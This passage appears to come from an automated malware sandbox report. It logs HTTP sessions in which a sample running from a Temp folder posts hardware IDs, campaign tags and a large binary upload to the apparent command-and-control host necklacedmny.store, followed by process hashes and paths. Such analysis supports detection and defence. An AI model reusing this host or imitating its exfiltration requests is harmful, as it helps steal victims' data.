2024-10-31 02:04:33 UTC	15331	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 39 38 32 38 33 31 41 34 43 34 45 46 38 38 38 44 33 35 42 30 44 30 31 34 34 45 31 35 37 46 37 37 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 33 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"982831A4C4EF888D35B0D0144E157F77--be85de5ipdocierre1Content-Disposition: form-data; name="pid"3--be85de5ipdocierre1Content-Disposition: form-data; name="lid"4SD0y4--legen
2024-10-31 02:04:33 UTC	5111	OUT	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 60 93 1b 88 82 85 4d 3f 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 6c 72 83 51 b0 b0 e9 a7 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 4d 6e 20 0a 16 36 fd 34 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b0 c9 0d 46 c1 c2 a6 9f 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 36 b9 81 28 58 d8 f4 d3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 26 37 18 05 0b 9b 7e 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d8 e4 06 a2 60 Data Ascii: `M?lrQMn 64F6(X&7~`
2024-10-31 02:04:33 UTC	1027	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 02:04:33 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=rq4bq3pi93f8fsbqi1695e712p; expires=Sun, 23-Feb-2025 19:51:12 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=VE5MW5pO79Gz0IYF57X%2BfgtjG%2BHZ53ip2CNuj%2BfTT0%2FoFUhpuMFSNkyedpJWsNt%2FfUysddMB1Jw1l5eOga0%2FFW%2F7UTBF4Zht%2BKuHaiqNKtQKkneYJWuKgA6z1oJZOVjKrOzVKiA%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8db013346fda465c-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1680&sent=13&recv=27&lost=0&retrans=0&sent_bytes=2846&recv_bytes=21406&delivery_rate=1683720&cwnd=243&unsent_bytes=0&cid=a5f3263a409ff859&ts=673&x=0"
2024-10-31 02:04:33 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 37 37 0d 0a Data Ascii: 11ok 173.254.250.77
2024-10-31 02:04:33 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.4	63933	188.114.96.3	443	6984	C:\Users\user\AppData\Local\Temp\1002764001\70bf1463df.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-31 02:04:35 UTC	283	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 1298 Host: necklacedmny.store
2024-10-31 02:04:35 UTC	1298	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 39 38 32 38 33 31 41 34 43 34 45 46 38 38 38 44 33 35 42 30 44 30 31 34 34 45 31 35 37 46 37 37 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"982831A4C4EF888D35B0D0144E157F77--be85de5ipdocierre1Content-Disposition: form-data; name="pid"1--be85de5ipdocierre1Content-Disposition: form-data; name="lid"4SD0y4--legen
2024-10-31 02:04:35 UTC	1016	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 02:04:35 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=t1ab5s3i73hmch31kdg2df2n7l; expires=Sun, 23-Feb-2025 19:51:14 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=oL0ZjmE0ZKFkDD2IOsi%2FasAnNWoG8tHy0RTn39Ilq28IZELCfiFqLntMbORGSw2pIav%2FZueizULpK69gDbtcffmK2mAsi9F0E4bgPQDxeA%2BRFECXm7LIX9EJICgEBV7VV%2BlmgvI%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8db013409e5f465c-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2305&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2844&recv_bytes=2217&delivery_rate=1519412&cwnd=243&unsent_bytes=0&cid=061544693fb1a944&ts=427&x=0"
2024-10-31 02:04:35 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 37 37 0d 0a Data Ascii: 11ok 173.254.250.77
2024-10-31 02:04:35 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.4	63943	188.114.96.3	443	6984	C:\Users\user\AppData\Local\Temp\1002764001\70bf1463df.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-31 02:04:36 UTC	285	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 570501 Host: necklacedmny.store
2024-10-31 02:04:36 UTC	15331	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 39 38 32 38 33 31 41 34 43 34 45 46 38 38 38 44 33 35 42 30 44 30 31 34 34 45 31 35 37 46 37 37 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"982831A4C4EF888D35B0D0144E157F77--be85de5ipdocierre1Content-Disposition: form-data; name="pid"1--be85de5ipdocierre1Content-Disposition: form-data; name="lid"4SD0y4--legen
2024-10-31 02:04:36 UTC	15331	OUT	Data Raw: be 8b 02 c2 a0 c1 a4 9b 5f d7 f7 d8 a7 f7 42 3b a7 13 95 c4 cb 81 f9 00 dd 1d 09 0b a2 fd 9c 85 51 8c af b3 8f c7 9f 86 1f 2a ea 79 d9 e5 fb ab af d8 7d a6 23 be 02 03 52 cc 09 80 6f 83 67 31 0f bf b1 f3 28 df 6c c4 e1 6f b0 38 e3 f2 ff 19 01 e4 21 15 78 e4 b7 21 b8 1f c4 19 52 73 fd 00 33 97 0f 9c 86 03 22 43 70 dc a3 b2 b5 0e 7e 33 fb 31 1b 8a 21 2b c5 bc 28 5f fa ec 5a ca ef bc a9 96 11 08 da cb b7 e7 ac f5 81 d6 b6 4b de cf e3 bc 9e 57 8b 78 7a e0 08 6d e2 cd d1 1a 0d 5c 8e 7b 4d b2 5a fe e5 1f f8 81 30 49 74 eb 7d 0a 73 91 3d f3 e5 af 6d ed 58 4a 79 9c 82 79 de 37 dc 19 cd f4 46 1f 65 d0 f9 84 1e f8 5e b9 56 49 24 8c 6d e6 bc bb 34 68 d5 b4 93 df 83 a6 9c 0c 31 49 59 be da be f8 b7 18 8e 48 50 bd 89 58 98 90 b8 ad 19 3d 6a 2a 97 d5 1f 86 c8 9b 5c be Data Ascii: _B;Qy}#Rog1(lo8!x!Rs3"Cp~31!+(_ZKWxzm\{MZ0It}s=mXJyy7Fe^VI$m4h1IYHPX=j\
2024-10-31 02:04:36 UTC	15331	OUT	Data Raw: e1 f9 21 61 30 b4 62 bf ad 45 00 e4 f5 e0 f9 6f 8f 07 fb 34 ef bc bd bb 5b f6 d0 b2 94 92 5b dd 55 55 ee 1e fd ac 78 5c 46 d3 65 d3 f8 a3 36 36 f0 72 61 77 70 12 3e d8 4b b4 dc e1 2b bd fe ab ff f5 b7 36 55 ee 11 35 35 85 92 60 a8 38 c4 14 62 cc e6 e2 c1 b6 1d ff 6a b1 d4 ba 08 c4 20 fd 77 e4 fa fc 4b 90 34 f3 df 21 d6 b9 d9 1a de 80 46 42 02 88 53 e4 ff 6b d0 b4 54 7f 9f a8 09 44 c0 61 0c ef e4 9e dd 7d 40 7a 3f 4d 15 81 e3 eb d7 f7 c9 36 ca 24 43 d5 ab 3b eb fa e5 2a a5 c0 62 e3 0d c8 57 f4 59 fa 71 35 d1 f6 8f e8 2b d9 f7 79 7b fe 02 8a 60 5c 3d e1 e7 f1 3f 6d 05 91 75 c8 81 16 6f fd 41 90 82 cb 8c f1 e9 51 88 16 8e 0e 80 8f 2d a8 14 71 e4 d7 75 35 3c 71 57 0d 98 84 dd 84 07 9c 20 22 f8 30 15 f1 9a 54 a0 e5 91 bb b7 41 67 4b fe 14 a9 78 be 76 0d 5f 6a Data Ascii: !a0bEo4[[UUx\Fe66rawp>K+6U55`8bj wK4!FBSkTDa}@z?M6$C;*bWYq5+y{`\=?muoAQ-qu5<qW "0TAgKxv_j
2024-10-31 02:04:36 UTC	15331	OUT	Data Raw: 58 f1 e7 e7 85 95 85 95 ea d6 d5 85 af 8c b5 da d6 f4 66 42 1e a7 27 98 a8 7d dc b1 ef be 45 bf 44 33 41 20 7a f7 7f 3e 78 2f cb fe 5c d9 fe b1 b2 e2 65 4d 26 12 87 08 b7 d0 b7 8f 93 6f e4 a6 01 ba 1a 91 4a 43 93 f9 51 bc 4a c0 03 8b 5d 3f a6 61 a9 82 77 ca 31 c1 82 a7 50 38 e2 00 d7 f0 e0 20 ce a3 44 e5 c5 2c fb a1 c9 47 1e d8 79 f2 ed 9b d7 7f e8 ba 59 ce 0f a1 47 3a 2f ce 01 e2 15 88 a8 30 94 8f 02 ae 6d 05 4f 9e c0 a5 a0 5e ff bf 53 6b 6d 2e 58 ab b7 ef d7 1b b4 ed c2 f5 eb b1 c8 3b b3 d5 be bc 66 c5 a7 dc aa bd 30 5e bc 2b f2 0b c5 59 a2 7e 96 5e 0d 01 89 38 c8 6d 72 ef ba 15 4f 80 3c 70 fe 3e 47 8a a8 c1 0d c5 95 a2 76 e5 ed d2 c3 7e 97 10 78 8d a6 77 0a 90 75 59 ea 2b 42 16 b5 a4 54 51 9c 08 78 23 aa 6e 09 32 1b 42 5c 01 61 a8 60 6e 58 4e 6c a4 5a Data Ascii: XfB'}ED3A z>x/\eM&oJCQJ]?aw1P8 D,GyYG:/0mO^Skm.X;f0^+Y~^8mrO<p>Gv~xwuY+BTQx#n2B\a`nXNlZ
2024-10-31 02:04:36 UTC	15331	OUT	Data Raw: c7 c2 6d 89 71 5c ce 11 eb 7b e0 99 ad e7 62 98 de db 08 4f 2f 85 ba f3 4f be b0 26 e9 72 70 2c b0 08 b8 13 e9 25 1a 9a dc a4 cc 64 c4 34 b2 4a 1e b8 cc 97 5f 7a 20 c1 29 04 f5 8f 60 22 be 79 44 08 65 5c c1 01 1c 02 cf 5e 09 cc ea 73 2b 02 81 d0 46 68 21 c3 1f 06 f5 43 23 23 03 e1 30 bf 75 8d 5e 7e 86 45 53 63 20 dd 9c f6 fb 04 d9 f4 e8 f1 f0 8c 08 ed 0a ae 8a 37 42 61 f5 ad 92 35 d9 2a e0 cc a4 3c 44 74 e3 5b 1e 40 e2 11 81 d2 b7 7c 4d fc 35 0c db 22 35 d7 2a 7d 6e 92 26 9a 0f 48 0a 4f 38 19 eb 73 a7 30 67 26 2f ee 5f cf 1d 52 c7 0c 07 3e 1a 1c 0e 3e b6 a0 dc 5d c4 68 d5 16 b3 d3 96 6a 5e 08 66 5c 3b 4e 16 5b 7f ad 69 3b 2c df ba 28 69 5f 1f a6 21 da 56 ce 09 e3 a6 08 0a 8c 04 61 40 30 06 c6 d8 06 fd bb 04 e8 23 0b 46 62 c0 36 9a 56 75 ae d8 29 06 13 8e Data Ascii: mq\{bO/O&rp,%d4J_z )`"yDe\^s+Fh!C##0u^~ESc 7Ba5<Dt[@\|M5"5}n&HO8s0g&/_R>>]hj^f\;N[i;,(i_!Va@0#Fb6Vu)
2024-10-31 02:04:36 UTC	15331	OUT	Data Raw: 91 06 63 47 5c 43 69 3f c1 4b f0 90 17 b7 d7 c4 31 55 fa 31 0b c1 b5 ff b6 2d 76 05 54 72 6d d6 a3 5e 5a 04 4a 8e c5 5d 06 57 47 13 51 ad a4 8b a7 27 b3 34 f0 d0 5c cc b8 75 6e 5d 04 cf 25 2c 85 ad 75 81 6e 0e 21 e1 19 c9 8f af c4 fb 22 a9 06 08 ac 91 8a 5f b7 0c 99 5f 5d d6 2d 18 43 4a 20 42 b5 9f 4f 80 18 ee e9 82 4c d2 79 18 f9 7c 17 0e 76 79 54 0f 98 a9 f8 c8 f2 76 93 83 a4 73 80 fd 7e b6 38 6b 09 a4 b6 51 2a d6 02 67 c1 69 30 e5 ae 28 06 34 af 98 52 77 c0 c6 a0 56 66 e5 c0 03 e5 bb 9b 03 ba 18 22 aa 42 4d c6 3d af 17 61 b2 29 63 ac 5b 65 67 81 fc 1f 14 30 27 6d 5a d3 46 0a da 77 1d e1 41 9b 83 12 2a 21 da 84 a1 39 0e 18 c6 c3 2d 48 60 f9 08 ee 12 05 bb cb 96 85 e9 ed c6 bd e2 a0 6c f3 f6 de 00 14 d0 60 3f d1 44 54 16 6a 15 11 a2 e7 74 4a 32 a0 be 83 Data Ascii: cG\Ci?K1U1-vTrm^ZJ]WGQ'4\un]%,un!"__]-CJ BOLy\|vyTvs~8kQgi0(4RwVf"BM=a)c[eg0'mZFwA!9-H`l`?DTjtJ2
2024-10-31 02:04:36 UTC	15331	OUT	Data Raw: 6e a6 23 6a c8 d0 cc 24 60 63 f4 b6 8c d6 7f 1d ed 6d c0 7f 9b f2 4e f3 23 ee f8 31 d9 a2 43 6f a5 81 6f 7a b5 25 6c 49 6a 3d 20 c8 f1 42 14 fc 5c 1c 2d 07 55 6b f4 36 4b 2a 6e 67 7a d3 62 8b 2c fc 68 c2 05 a6 b4 61 9b 22 b8 83 92 e0 d0 dc 43 40 ba 39 35 6d f7 f4 ad cb 75 c7 15 65 ca 1b 75 35 40 37 4f 10 7e e7 31 7a 1a 4d 7f bb 31 6a 99 db df 3b c6 ff dd 16 fa a2 4e b8 ce 19 22 33 b2 02 f8 ef 99 1b f6 23 49 8b fc 7c 1f 61 fa bc 75 f8 9e 82 21 ee 5f 38 de 71 5d c0 8e 51 46 fc 84 f8 54 af 20 db 16 b0 bf cb 12 81 46 47 ee 1e 12 3f e3 30 57 9a d5 a5 86 aa a1 b4 40 7d f2 e0 d0 47 5c d2 41 2f 43 ed 1e c5 3e c7 b2 1d a1 67 64 49 7d 13 b8 f4 3a dd ce af 9c a1 f2 83 91 48 cb 31 4c d5 03 d2 73 d6 4f ab 2b 0d a4 69 5c fe 76 8d e1 11 24 93 44 61 85 7b 20 b4 9b a8 10 Data Ascii: n#j$`cmN#1Cooz%lIj= B\-Uk6K*ngzb,ha"C@95mueu5@7O~1zM1j;N"3#I\|au!_8q]QFT FG?0W@}G\A/C>gdI}:H1LsO+i\v$Da{
2024-10-31 02:04:36 UTC	15331	OUT	Data Raw: 74 ad fa f7 fc e6 48 df 87 fb 1b 0a bf 40 d1 8d 55 23 a1 6e 29 c7 5b f4 0c 83 99 f4 99 3a 28 05 a9 cc 30 57 5c 6a bf a0 a7 af a2 a8 72 5f f9 19 d2 06 d9 67 30 1c 23 a3 db 7f 22 8c 5e eb fa c8 6c 27 83 28 00 ca 4b c7 cb cb 0d bc e2 00 3e 78 41 bb 3e 5c da d1 8f 33 95 71 19 10 fa fd 82 d3 dd 8c 3f eb b6 d7 b5 1b 15 af 67 a8 70 65 ce 91 f4 b7 ec 2d 17 b5 ae d2 b8 c1 1f 82 45 b7 5a b9 7c e7 d8 da 31 73 48 4a 66 a5 ca a6 3d 3b 7d d2 d6 fb 2a d0 a7 a5 1f cd 68 0d cd a7 a9 73 13 82 77 a5 4f d9 c0 71 f0 df 94 fe 6f 3d 83 37 0d 01 a1 00 ea c1 4b 1a db 70 84 83 9d bf ad 8d 7f a0 67 07 6d bc 2e 08 da 1a 3b c9 a9 62 1e dc 41 3e 96 df c5 e6 f4 1a 0b c4 28 65 0e be 97 03 5a 47 68 d7 3f a7 e5 2a b6 dc 0e d0 7e 1c fe f9 8e f1 2d 2d 30 5d 12 d5 80 a8 f4 3e 71 24 08 13 65 Data Ascii: tH@U#n)[:(0W\jr_g0#"^l'(K>xA>\3q?gpe-EZ\|1sHJf=;}hswOqo=7Kpgm.;bA>(eZGh?~--0]>q$e
2024-10-31 02:04:36 UTC	15331	OUT	Data Raw: b4 21 56 54 93 4f 1d b5 a7 e5 50 92 0e c6 f6 cc 81 1b 36 63 88 4e 77 4d 15 3a 0e 25 c3 3a b7 96 8c 80 2f ac 66 01 fc bc a5 02 4d 55 17 01 b1 cf fa 02 9e 8a 28 75 a9 40 68 ec 79 c7 aa 97 c5 1d 36 84 eb 5b 88 7b 0e 72 c7 7c 41 bd 3a a3 6f 21 66 3d 0c a6 c1 a1 17 16 c3 55 fa e0 c3 b2 2d 13 54 2a 76 d6 9f 86 0a c3 41 92 a8 f3 ab 95 3a 47 c2 64 b6 46 03 cb 06 b8 35 ba 23 89 84 8e 36 c4 a5 de 42 3f be 8b 42 20 a9 cd a4 f1 f6 ba b1 53 53 60 aa cc 9e 62 94 d9 3d 0b e1 0d 89 d5 bd d2 ef 0a 88 5e a2 c2 5a 56 7d 61 51 61 93 b8 77 e6 6d 98 23 6e 5a 57 30 e7 a1 d8 c5 2b 2e 11 c6 bc 2a fd 6e 96 5e a6 a3 b9 04 7f 6e 3f 8c f0 98 4e 8e 67 74 d7 6f d6 ee 9d e0 39 76 c5 54 18 15 4a 5d 9f 19 a2 ef 86 95 66 79 75 4a b1 65 e9 d3 6e da 19 00 47 85 99 ad 79 c3 d7 f5 26 b2 03 e2 Data Ascii: !VTOP6cNwM:%:/fMU(u@hy6[{r\|A:o!f=U-TvA:GdF5#6B?B SS`b=^ZV}aQawm#nZW0+.n^n?Ngto9vTJ]fyuJenGy&
2024-10-31 02:04:36 UTC	15331	OUT	Data Raw: 72 91 5d ec d0 b3 10 77 1a 36 9d 05 d9 8d b5 d6 bf eb dd 98 22 2c 95 ad fc bf 0b 1d af 77 7d 23 51 eb af e6 d6 db f3 01 1d d1 82 6f 8c 97 07 47 e4 c0 3b 19 3d 24 78 da 27 9a 6e 1e f2 63 bb 65 7f b2 c9 d5 ad 1f cf 84 35 c0 c9 75 3b 75 fe cf 00 c7 d5 4a 58 22 ae 90 17 e8 ac dd f6 ba 75 d7 f9 28 f5 07 12 ed 57 7b eb 5d 92 1c f8 2d 77 4a 17 f7 bc 4e 1c c2 71 55 02 aa a4 6f 7e 54 49 78 8b 21 da d6 a0 b0 83 ca bb d1 c7 f6 1a c1 8e 90 6c 15 38 5c 7f 3d 2d cc 4d a5 71 b7 09 ef e9 d1 77 9d f8 bc a8 a1 98 f9 ab 66 69 1d e2 b7 88 42 9f 1d a8 5d c9 a1 03 77 e4 36 ec af ad 7d 14 c1 73 5f d0 45 69 18 c3 43 82 4a 8a 09 96 d9 82 af 8f 6a 7d 8a 7e b3 c9 3e 52 ec 01 65 3b 79 a9 4b 7b 51 29 2e d8 b9 f1 62 e1 bb ce cd 91 bc 2c 0c c7 cd 4c 7a 1a 03 e1 e6 5c 9b b1 e3 6b 6f 6b Data Ascii: r]w6",w}#QoG;=$x'nce5u;uJX"u(W{]-wJNqUo~TIx!l8\=-MqwfiB]w6}s_EiCJj}~>Re;yK{Q).b,Lz\kok
2024-10-31 02:04:38 UTC	1025	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 02:04:38 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=b45ctdfic95bqotqgpmeichlrf; expires=Sun, 23-Feb-2025 19:51:17 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=iPZP9n52AofpMKAS%2BlwDY6iblR4MMz3pRH1925d%2Bgmh9W6zOkgvTWcecFOaZNNqN4XN1032%2FjHiVDbRfjnzQYDi3E4RQbWXc0t0NC8znMFKyR0aNslTPZF3QGlzAHw7QA%2B5Pr%2BU%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8db0134a59e6eb16-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1209&sent=219&recv=610&lost=0&retrans=0&sent_bytes=2844&recv_bytes=573050&delivery_rate=2385502&cwnd=251&unsent_bytes=0&cid=771af48e42fdced2&ts=1770&x=0"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.4	63958	188.114.96.3	443	6984	C:\Users\user\AppData\Local\Temp\1002764001\70bf1463df.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-31 02:04:39 UTC	266	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 87 Host: necklacedmny.store
2024-10-31 02:04:39 UTC	87	OUT	Data Raw: 61 63 74 3d 67 65 74 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e 64 61 72 79 79 26 6a 3d 26 68 77 69 64 3d 39 38 32 38 33 31 41 34 43 34 45 46 38 38 38 44 33 35 42 30 44 30 31 34 34 45 31 35 37 46 37 37 Data Ascii: act=get_message&ver=4.0&lid=4SD0y4--legendaryy&j=&hwid=982831A4C4EF888D35B0D0144E157F77
2024-10-31 02:04:40 UTC	1019	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 02:04:40 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=vv7ocs39j7otm3rldubo0vkkil; expires=Sun, 23-Feb-2025 19:51:18 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=D%2FFa8FgtBOJ0snQvj3z%2FSlrcc0LYhl2zBbIF0EfqHu6LC2lUNmcqtw9%2BawY9wMLkfTOmFmOjeP%2FK03MjMeD6Kw1TLrfUs2YZFRerJ2clTI%2F2TNfBMgYq%2BkdFBOHVeCBPW16beUU%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8db0135a78bdcb76-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1324&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2844&recv_bytes=989&delivery_rate=2180722&cwnd=252&unsent_bytes=0&cid=977afba683485cc7&ts=715&x=0"
2024-10-31 02:04:40 UTC	214	IN	Data Raw: 64 30 0d 0a 41 48 67 42 37 6f 4b 64 63 52 48 68 71 58 78 31 55 61 31 73 62 36 55 63 32 6d 34 58 73 4e 42 32 42 6a 55 66 43 69 71 6f 54 50 31 62 41 79 4f 62 6f 4b 64 54 65 5a 58 64 44 45 38 4e 67 6a 42 41 6c 43 54 76 51 43 57 42 35 56 67 33 42 43 77 6b 47 35 34 51 30 6d 38 65 5a 37 4b 74 2b 52 52 33 7a 38 77 45 45 48 4f 42 54 67 6e 52 50 75 42 65 4f 35 4b 31 56 44 77 46 59 69 5a 52 69 6a 6e 66 4f 6c 70 70 6d 76 62 74 53 30 33 4f 39 56 4e 45 61 5a 68 43 58 5a 51 70 39 46 38 6d 67 2f 35 48 4d 47 6b 77 5a 30 50 47 4b 61 45 76 43 6d 43 41 35 76 49 63 50 34 54 52 47 56 64 39 6a 77 6f 62 68 79 62 71 51 6a 58 56 38 6b 77 32 53 45 49 3d 0d 0a Data Ascii: d0AHgB7oKdcRHhqXx1Ua1sb6Uc2m4XsNB2BjUfCiqoTP1bAyOboKdTeZXdDE8NgjBAlCTvQCWB5Vg3BCwkG54Q0m8eZ7Kt+RR3z8wEEHOBTgnRPuBeO5K1VDwFYiZRijnfOlppmvbtS03O9VNEaZhCXZQp9F8mg/5HMGkwZ0PGKaEvCmCA5vIcP4TRGVd9jwobhybqQjXV8kw2SEI=
2024-10-31 02:04:40 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Target ID:	0
Start time:	22:02:54
Start date:	30/10/2024
Path:	C:\Users\user\Desktop\file.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\file.exe"
Imagebase:	0xa90000
File size:	3'039'744 bytes
MD5 hash:	EC6BF4A264E7EF670873EF017D9F1C00
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	22:03:32
Start date:	30/10/2024
Path:	C:\Users\user\AppData\Local\Temp\NSXWT8JG74T0IR99MSITIVFVWS7V.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\NSXWT8JG74T0IR99MSITIVFVWS7V.exe"
Imagebase:	0xcd0000
File size:	2'814'976 bytes
MD5 hash:	7319CE2EC56F42705DAC4591A2B6C22D
Has elevated privileges:	true
Has administrator privileges:	true
